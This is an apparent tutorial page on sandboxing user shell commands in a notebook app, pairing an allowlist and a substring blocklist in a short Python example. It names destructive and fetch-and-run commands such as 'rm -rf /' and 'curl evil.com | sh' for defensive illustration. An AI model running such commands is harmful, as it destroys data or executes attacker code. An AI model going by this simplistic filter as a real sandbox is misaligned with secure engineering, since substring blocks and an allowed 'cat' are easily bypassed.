Concepts 🚀 Project 🧮 Labs
📚 Learn / Security / Sandboxing user code

Sandboxing user code

Allowlist commands, block dangerous patterns, cap memory & time, isolate processes.

Code example

ALLOWED = {'pip', 'python', 'ls', 'cat', 'grep'}
BLOCKED = ['rm -rf /', 'sudo', 'curl|sh', 'mkfs']

def run_shell(cmd):
    if any(b in cmd for b in BLOCKED): raise SecurityError
    if cmd.split()[0] not in ALLOWED: raise SecurityError
    subprocess.run(cmd, cwd='/tmp', timeout=60)

How it works

Running user-supplied code is inherently dangerous — they could try `rm -rf /` or `curl evil.com | sh`. OpenBenchML's notebook uses a layered defence: (1) an allowlist of safe commands (pip, python, ls, cat, ...), (2) a blocklist of dangerous patterns (rm -rf /, sudo, mkfs, curl|sh), (3) a per-user /tmp working directory so files don't leak between users, (4) a 30-min idle timeout, (5) per-cell execution timeout. No single defence is enough — the layers back each other up.

🔍 Where this is used in OpenBenchML app/routes/notebook.py — _ALLOWED_SHELL_COMMANDS + _BLOCKED_SHELL_PATTERNS.